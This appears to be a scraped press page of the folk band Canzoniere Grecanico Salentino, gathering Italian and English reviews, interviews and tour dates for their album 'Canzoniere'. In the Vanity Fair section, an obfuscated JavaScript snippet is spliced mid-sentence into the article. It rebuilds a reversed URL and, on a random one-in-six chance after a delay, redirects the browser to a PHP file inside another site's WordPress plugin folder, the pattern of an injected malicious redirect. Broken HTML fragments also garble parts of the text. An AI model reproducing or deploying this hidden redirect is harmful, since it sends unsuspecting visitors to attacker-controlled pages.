Blow Up: canzoniere review

Giovanni Vacca su Blow Up di dicembre firma una recensione bellissima, approfondita e ricca di suggestioni. Attenta alla musica e ai testi, mette in relazione il nostro tory_id=10159745912300055″ data-ft=”{"tn":"*N","type":104}”>#canzoniere con il nostro background storico e culturale. Da leggere assolutamente!

<<#Canzoniere è un perfetto esempio della riuscita di questo delicato equilibrio che, con locuzione ormai logora, si è soliti dire “fra tradizione e modernità”. […] I dodici brani integrano così, brillantemente, un tessuto musicale curatissimo nei suoni e negli intrecci strumentali con parole attentamente pensate, piene di riferimenti all’immaginario collettivo del sud contandino e rigorosamente nell’idioma locale con tutti i suoi arcaismi. […]
Un disco ricco e pieno di suggestioni, insomma, certamente in grado di rappresentare, in maniera intelligente, un rapporto non nostalgico ma creativo e fecondo con le proprie radici”.

Rhythm Passport interviews Mauro Durante

Rhythm Passport interviews our Mauro Durante regarding our new album #canzoniere and our show of next Friday Dec 15th at the Rich Mix London. With a brand new surprise: our friend and great folk singer Sam Lee will join us for a couple songs!!!

 

Interview: Mauro Durante, Canzoniere Grecanico Salentino – Harvesting ‘Crops of Songs’ Between Salento and the World (November 2017)

 

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Two years ago, Canzoniere Grecanico Salentino (CGS) celebrated their ruby wedding anniversary with music, and their love for Pizzica and tarantella is stronger than ever. That’s why Canzoniere, their recently released 20th studio album, can be considered as another referential work for anybody interested in traditional Mediterranean sounds.The band (formed by Rina Durante in 1975 – and still led by the Durante family) has become one of the most successful Italian music exports. CGS can indeed be proud of their large number of followers both in their native country and abroad, spreading the Salentinian vibe in Europe as much as in North America, Asia and Oceania.A few weeks ago, just after the publication of Canzoniere, we met up with Mauro Durante atWOMEX in Katowice and had a brief but interesting chat about the present days of CGS, which are spent on the verge between an unadulterated devotion to the Apulian tradition and a more global and forward-looking music perspective.

Our interview started from the most recent addition to the band’s discography:

Canzoniere is our latest collection of songs. We called it that because we really consider it as a rural and agricultural metaphor. We sowed the seeds for the songs in the album between Lecce and New York – where I spent more than four months going back and forth. In New York, I did some co-writing sessions with some great musicians and producers and worked with different artists like Coldplay,Bruno Mars and Celine Dion. I had various meaningful experiences, and, from there, those seeds that we planted have started to grow. We let them sprout and ripen in Lecce, working with the other musicians involved in Canzoniere and, today, those songs have matured. We harvested them and collected a robust songbook, but instead of ‘songbook’ we prefer to call it a ‘crop of songs’”.

When it comes to explaining the subject of the album and its themes, Mauro’s answer is unexpected as much as it is romantic and inspired.

Canzoniere speaks about hands, our hands. About how much we need our hands to touch and get in touch with each other: create a relationship, hug, make love, to protect what we really care about, stand up to, and fight. Hands are what shape our lives. Broadly speaking, Canzoniere is a social album, different from Quaranta, which was predominantly a political work”.

As Mauro revealed, Canzoniere had enough time to take root and then spring its leaves and express the recent developments in the band’s music path.

The project started during the summer of 2015. Ludovico Einaudi, with whom I collaborate, was embarking on a new tour and asked every member of his group to not miss a show, and become involved with the project on a full-time basis. Unfortunately, as CGS plays such an important role in my life, I couldn’t join him, so I started to look for new experiences. That’s when I decided to go to New York, because, in New York, there is both our North American manager and publisher (Mark Gartenbergand Eric Beall).

They had the idea of organising some co-writing sessions for me with a few musicians based there. In that way, I could combine and compare my compositions and CGS’s style with a more canonical and structured songwriting method, including more established elements like the refrain; a more concise length for our songs (in that way, they could be easily played by commercial radios) and those characteristics that are not usually taken into consideration with traditional music, where you commonly repeat melodies, strophes and instrumental parts. I found that time very constructive, because everything simply started like an experience with no pretensions to release or even record anything new. I just planned to go to New York and have a different music adventure, but after the first month I spent there, when I went back to Lecce I asked my music partners in CGS to listen to those embryos of songs that I had recorded. When I noticed that their reaction was enthusiastic, from those rough sketches they were willing to create something new for the band, so I seized the moment and started to go back and forth until the summer of 2016.”

That was when we finally gathered enough new material among the things I had written during those sessions: some songs that I wrote all by myself and some more collective works which could produce a full-length album. All the material followed me back and forth between Salento and New York and, inevitably, modified itself by changing shape. Finally, in December 2016, one of the producers I met in New York, Joe Mardin (who’s the son of Arif Mardin – the legend behind many works of Aretha Franklin, The Bee Gees and Norah Jones), came to Salento and helped us to finalise all the recordings in two or three weeks. He brought everything home and mixed the album, which was latterly mastered by Joe LaPorta – another exceptional sound engineer who recently won a Grammy for David Bowie’s Black Star”.

All of these experiences and encounters, which occurred over the last two years, have inevitably remodelled CGS’s sound. However, the ensemble hasn’t denaturalised their approach to music, always staying true to their roots.

I have to say that the most significant thing in our music is that the main ingredients are always the same. As a matter of fact, we haven’t changed our instruments: we still play the violin, bouzuki, accordion, frame drum, recorders and Moog bass guitar (which we already used in Quaranta). In addition, there are even more drum parts than in our previous works, and we also overlapped some frame drum sections. However, even if the ingredients are the same – despite the incursion of Justin Adams and his electric guitar, plus the acoustic guitar of Piers Faccini, or even the piano of one of our American producers – I feel that the sound is different. The production, arrangements and mixing made the final outcome different. I’d say that it’s fresher, more powerful and closer to other international productions”.

It’s not only CGS that are looking for and earning some recognition on the international music scene. It looks like more and more Apulian musicians (and Salentinian in particular) are opening up to the world.

“The Apulian music scene is really lively at the moment. If you consider the world music panorama, the Apulian one is still pretty young, almost a newcomer. For this reason, there’s so much desire to make our music known abroad and to spread it everywhere. Artists like toniocastrignano.com/” target=”_blank”>Antonio Castrignanò and Kalàscima,or the Notte della Taranta itself and its tone/orchestra-popolare-residente” target=”_blank”>orchestra (which is directed by Daniele Durante, my father, at the moment) are all part of a solid reality able to make its voice heard internationally”.

On Friday night, tour/?lang=en” target=”_blank”>Canzoniere’s world tour will bring the Apulian sound to London for a very Christmassy event. We asked Mauro how they succeeded in transposing the studio recordings on stage and what will happen at Rich Mix.

We recorded the album in a studio, apart from two songs (“Pizzica De Sira”, and “Aiora”), which were both recorded live; we played the tracks entirely by ourselves. I mean, there’s no electronica or special effects in it. So, once on stage, we will propose the songs almost in the same way as we recorded them. The idea is to have an even more pronounced trajectory: we’d like to let the audience have an immersive experience, and for this reason, the set list will draw from our past and present repertoire.”

Then, to bring our music abroad is always emotional, because, as if by magic, the language, cultural and time barriers fall down and people feel embraced and engaged by it. In a matter of seconds, it all becomes an explosion of energy and rhythms.”

 I also believe that there are many elements that bring our music closer to the British taste. I’m talking about the dance fuelled by the sound of the fiddle and drums. So, I reckon that what people need to do is simply join us and everything will work out just fine. Anyway, to make it even more alluring for the London audience, I have some good news for you because Sam Lee will join us on stage during our Rich Mix show”.

 

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Rai News: Canzoniere Grecanico Salentino, the Italian tour

Concerti a Firenze, Roma e Mestre

Canzoniere Grecanico Salentino in tour in Italia

Il gruppo di world music presenta il nuovo album Canzoniere, esaltato dalla stampa internazionale. Tre tappe italiane prima di nuovi appuntamenti a Londra, Bruxelles e in Estonia

di Nicola Iannello 30 novembre 2017 Dopo Berlino e Parigi, il Canzoniere Grecanico Salentino – tra i più importanti e riconosciuti gruppi di world music – prosegue il suo tour e atterra in Italia per alcune tappe prima di ridecollare verso altri lidi. Primo concerto nella Penisola a Firenze venerdì 1 dicembre all’auditorium Flog, poi sabato 2 a Mestre al Centro Candiani e domenica 3 all’Auditorium Parco della Musica di Roma. In vetrina il nuovo album Canzoniere. Il nuovo disco, il più cosmopolita, arriva a quarantadue anni di distanza dalla fondazione del gruppo e a due dall’ultimo album Quaranta.   Innovativo e ambizioso, Canzoniere è stato acclamato dalla stampa internazionale. “Una vera e propria bomba” per il Guardian; mentre il Times lo ha definito “incredibilmente accattivante. Pieno di caratteri e colori”. L’album, registrato tra Lecce e New York, fonde in modo originale stili e influenze in cui gli strumenti della tradizione salentina si prestano a un sound più moderno e contemporaneo. Ricco di prestigiose collaborazioni internazionali, ospita la chitarra inglese di Justin Adams, storico collaboratore di Robert Plant; l’inconfondibile voce del cantautore anglo-francese Piers Faccini; e il prezioso tocco classico del violoncello di Marco Decimo.   Sul palco con Mauro Durante (voce, percussioni, violino), ci sono Alessia Tondo (voce e castagnette); Emanuele Licci (voce, chitarra e bouzouki; Giulio Bianco (zampogna, basso, armonica, flauti e fiati popolari; Massimiliano Morabito (organetto); Giancarlo Paglialunga (voce e tamburello) e Silvia Perrone (danza).   Dopo le date italiane, il tour proseguirà in Estonia (a Tallin il 5 dicembre, a Pärnu il 6, Jõhvi il 7 e Tartu l’8). Dal 9 dicembre si riparte da Bruxelles, il 10 a Milano per arrivare il 15 a Londra.

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Vanity Fair talks about #Canzoniere

<$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to e prodotto fra Lecce e New York, che unisce la tradizione e la cultura della Grecìa salentina alla modernità del sound e dello stile d’oltreoceano, con un risultato unico e travolgente: è “Canzoniere”, il nuovo album del Canzoniere Grecanico Salentino, che lo presenta in un tour italiano ed europeo cominciato a Lecce e che farà tappa a Roma il 3 dicembre e il 10 a Milano, oltre che a Parigi, Berlino, Londra e Bruxelles. Mauro Durante – che dal 2007 è il leader della storica formazione – ci ha spiegato la genesi della loro nuova opera in un’intervista negli studi di Askanews.
“Tutto era nato da questo desiderio di confrontarsi con la forma canzone intesa in senso lato, e per farlo abbiamo fatto delle sessioni di cowriting con dei produttori e musicisti di base a New York: Joe Mardin – che poi ha finito per produrre l’album – Scott Jacoby, Steve Skinner, Michael Leonhart, Rasmus Bille Baehncke, e da lì sono nati gli embrioni di molte delle canzoni che sono poi finite nell’album. E continuando a fare la spola fra Lecce e New York abbiamo composto altro materiale a Lecce col resto del gruppo, queste canzoni facevano su e giù, finché non abbiamo chiuso le registrazioni quando Joe è venuto nel Salento per completare le ultime sessioni. E poi è uscito il nostro raccolto di canzoni”.
Un disco quindi caratterizzato da sonorità e forme in parte nuove per il gruppo del Salento, un album in un certo senso più “americano”.
“È un disco sicuramente che è in parte anche americano, perché il produttore è americano, molti coautori sono americani e sicuramente l’intenzione di fare una sorta di mainstream ma utilizzando comunque i nostri ingredienti, cioè il dialetto, il bouzouki, il tamburello, il violino, l’organetto, sicuramente un atteggiamento americano che non fa differenze a priori ma va semplicemente a vedere il risultato”.
Non a caso per il 2018 è previsto anche un tour proprio in America, che presenterà al pubblico questa eccezionale sintesi di energie musicali del Mediterraneo e del Nuovo Mondo.
“Come si vede anche un po’ dalla nostra copertina, la nostra musica è come la salsa di pomodoro fatta in casa, qualcosa di fortemente identitario e caratteristico, che però non si chiude in sé stesso, non abbiamo paura e non vogliamo barriere, anche al giorno d’oggi è molto importante aprirsi e confrontarsi con il contenitore globale, la Coca Cola, quindi la forma-canzone, gli Stati Uniti. E tutti gli ingredienti che rendono unica quella salsa, quindi il dialetto, i nostri strumenti , il nostro stile musicale, la pizzica, risultano ancora più esplosivi e più forti dal confronto con quello che è – apparentemente – diverso”>>

RDS – IL CANZONIERE GRECANICO SALENTINO ARRIVA A ROMA IL 3 DICEMBRE

Il Canzoniere Grecanico Salentino arriva a Roma il 3 dicembre

RDS 100% Grandi Successi parla ancora di noi in questo bel video!

Ispirarsi alla tradizione e alle proprie profonde radici culturali, ma aprendosi al mondo e alla novità: è questo lo spirito della ricerca musicale del Canzoniere Grecanico Salentino, che il 3 dicembre sarà a Roma all’toriumParcodellaMusica/?fref=mentions” data-hovercard=”/ajax/hovercard/page.php?id=81412278616&extragetparams=%7B%22fref%22%3A%22mentions%22%7D” data-hovercard-prefer-more-content-show=”1″>Auditorium Parco della Musica – Roma nell’ambito di un tour nelle città d’Italia e d’Europa per presentare il suo nuovo album “Canzoniere”, scritto in gran parte in America in collaborazione con autori e produttori attivi a New York. Proprio uno dei brani di Canzoniere – Lu Giustacofane – allude al rapporto con il passato, come ci spiega Mauro Durante, leader del gruppo salentino.

“Lu Giustacofane era un antico mestiere: persone che passavano di paese in paese, casa per casa, cantando e gridando per sapere se ci fosse qualche oggetto da aggiustare, come le anfore o le cofane o comunque altre piccole lavorazioni. Giravano col ferro filato, martello e altri attrezzi semplici. Per noi il suo invito e il suo esempio è un simbolo che può significare il fatto di dover aggiustare ancora oggi le relazioni il rapporto con la propria terra e usare le mani per riparare quello che va sistemato anziché gettarlo via”.

Lu Giustacofane, scritta da Durante e nata dalla collaborazione musicale con Scott Jacoby, si apre con la voce di Gino Greco, una registrazione etnografica. Valorizzare quindi e recuperare le proprie radici culturali. E a Durante abbiamo chiesto: si può riparare una cultura? “Si possono sopportare i colpi che la vita dà ad alcuni sistemi culturali ed economici, e difendere quello che realmente conta”

 

7Corriere: “When identity wins on the global market”

La pizzica di Mauro alla conquista
del mondo

Il successo internazionale del gruppo pugliese Canzoniere Grecanico SalentinoQuando l’identità vince nel mercato globale

 

FU UN PAIO D’ANNI FA, in Nuova Zelanda. «Avevamo appena finito di suonare al festival che si teneva ai piedi del vulcano Taranaki. Si avvicinò un uomo e ci disse: il vulcano non può parlare ma se potesse vi direbbe che gli piace ascoltare questa musica e che se potesse suonare la suonerebbe». Certo era uno strano complimento, ma Mauro sorrise, ringraziò e mise via quel ricordo come fosse un piccolo gioiello da tenere sempre in tasca. L’altro giorno l’ha ritrovato mentre parlava di sé e del suo Canzoniere Grecanico Salentino, gruppo storico di world music capace di generare incontri fortunati fra le melodie della tradizione e il sound moderno dalle incursioni rock. Pizzica ed «energia geotermica del Mediterraneo», per dirla con le parole dello scrittore Erri De Luca. Lui è Mauro Durante, leader che offre voce, percussioni e violino al Canzoniere, creatura voluta 42 anni fa da suo padre Daniele e affidata a lui nel 2007. Si intitola Canzoniere anche il nuovo album della band, 12 brani realizzati sull’asse Lecce-New York e impreziositi da collaborazioni come quella di Justin Adams (chitarra inglese al fianco di Robert Plant), Piers Faccini (cantautore anglo-francese) o Marco Decimo (per anni al violoncello accanto a Ludovico Einaudi). Copertina: una bottiglia di Coca-Cola (creata dal collettivo artistico Casa a Mare) che simboleggia il mondo come contenitore ed è piena di salsa di pomodoro, materia dalla dimensione planetaria e locale allo stesso tempo.

«Siamo felici perché le reazioni della critica, specie quella internazionale, sono eccezionali» dice Mauro emozionato dai risultati incassati dall’album in queste prime settimane. «In un panorama globalizzato» – riflette – «è fantastico riuscire a fare qualcosa che ti rende unico e che è fortemente identitario nonostante l’apertura verso l’esterno». Il ricordo va al giorno in cui suo padre gli disse che il gruppo sarebbe passato nelle sue mani. «Capii all’istante che avrei dovuto puntare sul mercato internazionale e puntare sulla pizzica che all’estero era una specie di terreno sconosciuto. Fra il 2011 e oggi abbiamo organizzato diversi tour negli Stati Uniti e molto altro». Inghilterra, Australia, Nuova Zelanda, appunto. E poi lo Sziget Festival di Budapest, il Festival internazionale di jazz a Montréal, il Celtic Connections di Glasgow, lo Sxsw Music Festival in Texas… Il risultato è quello che Mauro descrive come «il sogno che stiamo vivendo, cioè poter portare la musica della nostra Terra nel mondo».

«UN TRIONFO. Un suono straordinario e inebriante» dice The Guardian; «Un vero tornado» scrive il New York Times; «Una vitalità che a ogni passaggio ti trascina con sé», aggiunge Libération. Ti trascina e ti costringe a seguire il ritmo della musica come fa Silvia Perrone danzando, ti coinvolge come fa Alessia Tondo cantando. E ancora: Emanuele Licci (voce, chitarra, bouzouki), Giulio Bianco (basso, zampogna, armonica, flauti e fiati popolari), Massimiliano Morabito (organetto) e Giancarlo Paglialunga (voce e tamburello). Chissà se il vulcano Taranaki ha imparato i loro nomi ad uno ad uno.
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World Music Central review

“I’m not sure if the term “mind-blowing” is still in the accepted lexicon, but this album fits that description in a most satisfying way”

Grandly combining Italian traditional music with jolts of contemporary Western pop, Canzoniere Grecanico Salentino strike a tasty, dance-ready balance on Canzoniere (Ponderosa Music Records, 2017). CGS are one of those bands that can seemingly do it all, mixing accordion, uniformly rhythmic clatter and a reggae feel on “Ientu,” infusing “Moi” with a start-and-stop techno stomp that dramatically punctuates the traded vocals, builds simplicity into complexity in nothing flat with help from guitarist Justin Adams on “Aiora” and erects walls of sound throughout using instruments and voices that are organically and electronically symbiotic. I’m not sure if the term “mind-blowing” is still in the accepted lexicon, but this album fits that description in a most satisfying way.

 

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4 stars review on The Times and The Sunday Times

and from London a new 4 stars review on The Times and The Sunday Times!!

“The band’s mesmeric pizzica folk style blends into soul ballads and hooky-heavy pop anthems that Durante created with some big hitting New York songwriters. Canzoniere, full of character and colours, does not compromise its gutsy pizzica roots”.

 

CGS is the more easily pronounced acronym for the dynamic south Italian folk group Canzoniere Grecanico Salentino. Their leader, the violinist Mauro Durante, is probably the most exciting feature on Ludovico Einaudi’s world-conquering chill-out albums. This is a record also looking for an international audience. The band’s mesmeric pizzica folk style blends into soul ballads and hook-heavy pop anthems that Durante created with some big-hitting New York songwriters. Such projects can yield vapid crossover gloop, but Canzoniere, full of colour and character does not compromise its gutsy pizzica roots.

Of course, Anglo-Saxons will have to conquer their suspicion of listening to anything not sung in the Queen’s English (why no translation of lyrics in the sleeve notes?), but Canoniere is worth the trouble.
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“Canzoniere”: con lo sguardo al Nuovo Mondo e i piedi saldi nella tradizione

 


“Canzoniere”: con lo sguardo al Nuovo Mondo e i piedi saldi nella tradizione


Con l’ultimo lavoro discografico, il Canzoniere Grecanico Salentino si protende verso la world music con la maturità di chi sa perfettamente da dove viene

LECCE – La prima volta che mi sono trovato davanti Mauro Durante fu a Pisa. Correva uno degli anni a cavallo del 2000, non ricordo bene quale perché ora ne ho 40: io studente universitario, lui talentuoso musicista. Si festeggiava il Giugno Pisano e nel foyer del Teatro Verdi si esibiva l’Ensemble di Terra D’Otranto e Durante il giovane, che non era ancora maggiorenne, suonava tamburelli e tamorre.

L’ultima è stata invece ieri, nel concerto di presentazione di “Canzoniere” ai Cantieri Teatrali Koreja, freschissima fatica del gruppo – il Canzoniere Grecanico Salentino, appunto – che dirige dal 2007, in una sorta di continuità familiare con il padre Daniele, tra i fondatori e leader della compagine.

Tra i due estremi temporali c’è un percorso profondo e sudato di crescita artistica e maturazione personale, la sua ovviamente, di cui un passaggio fondamentale, a mio parere, è stata la stretta collaborazione con Ludovico Einaudi che, per due edizioni maestro concertatore della Notte della Taranta, lo ha voluto come suo più stretto collaboratore e lo ha educato ad avere una visione. Detto questo, mi pare di poter dire che “Canzoniere” rappresenta un punto di svolta nella storia della musica popolare salentina che diventa world music senza che questa evoluzione possa essere accusata di tradimento.

Prodotto tra Lecce e New York (Joe Madrin) per l’etichetta Ponderosa Music Records, il nuovo cd si dichiara già in copertina per quello che è: un concentrato di tratti fortemente identitari in un contenitore globale, esattamente come la salsa di pomodoro nella mitica bottiglia di vetro della Coca Cola. Certo, è una roba che Durante e pochi altri si possono oggi permettere di fare: tra questi certamente Giancarlo Paglialunga (voce, tamburello, calebasse), Emanuele Licci (voce, bouzouki, chitarra), Massimiliano Morabito (organetto), Giulio Bianco (zampogna, ciaramella, clarinetto, basso, flauti, armonica, campionamenti), compagni di avventura e di grande spessore. Una nota a parte la merita Alessia Tondo, che la maggior parte dei nativi hanno imparato a conoscere per aver cantato con i Sud Sound System nel 2003 “Le radici ca tieni”. Nulla di nuovo quindi per quanto riguarda la sua eccezionale voce e nemmeno per la sua disinvoltura nel battere il tamburello (che non guasta mai), ma non deve passare in secondo piano il fatto che è anche l’autrice di alcuni brani – Ientu, Tienime e Ayora – i primi due dei quali sono delle armoniose e per certi versi struggenti ballate che costituiscono punti cardinali di questo lavoro (così come Con le mie mani, dello stesso Durante).

“Canzoniere” contiene su dodici brani una sola pizzica tradizionale “Pizzica de sira”, ma la sua collocazione al centro della scaletta appare come una rassicurazione, il segnale di una consapevolezza, quella di non aver smarrito le coordinate della partenza anche se si è felicemente protesi verso le opportunità e le suggestioni del Nuovo Mondo (inteso anche come potenziale di pubblico internazionale fino ad oggi del tutto ignaro). L’ancoraggio alla tradizione è del resto tangibile in tutte le tracce, quando le melodie vengono dilatate, fin quasi a essere arrestate, e i testi cantati in stili diversi, attraversando il pop e molto altro ancora. Non c’è insomma trasfigurazione anche se la raccolta è una sfida ambiziosa, perché c’è perfetta padronanza filologica e artistica dei ferri del mestiere.

Le movenze di Silvia Perrone (moglie di Mauro Durante e ballerina da sempre molto apprezzata) servono a ricordare, per questo tipo di musica, l’importanza della grazia ma anche della grammatica dei passi perché le pizziche e le tarantelle non si possono ballare così come a uno gli viene in mente. Sia esso anche un affermato coreografo di questo cavolo. Andate dunque a sentire “Canzoniere”: stasera il concerto è ancora ai Cantieri Koreja, dopo di che inizierà un tour europeo. E anche se non proprio tutto vi dovesse convincere, sappiate che siete in buone mani: soltanto se sai da dove vieni, capisci fin dove puoi andare. Un lusso per pochi, oggi, nel panorama musicale salentino.

– Gabriele De Giorgi

 

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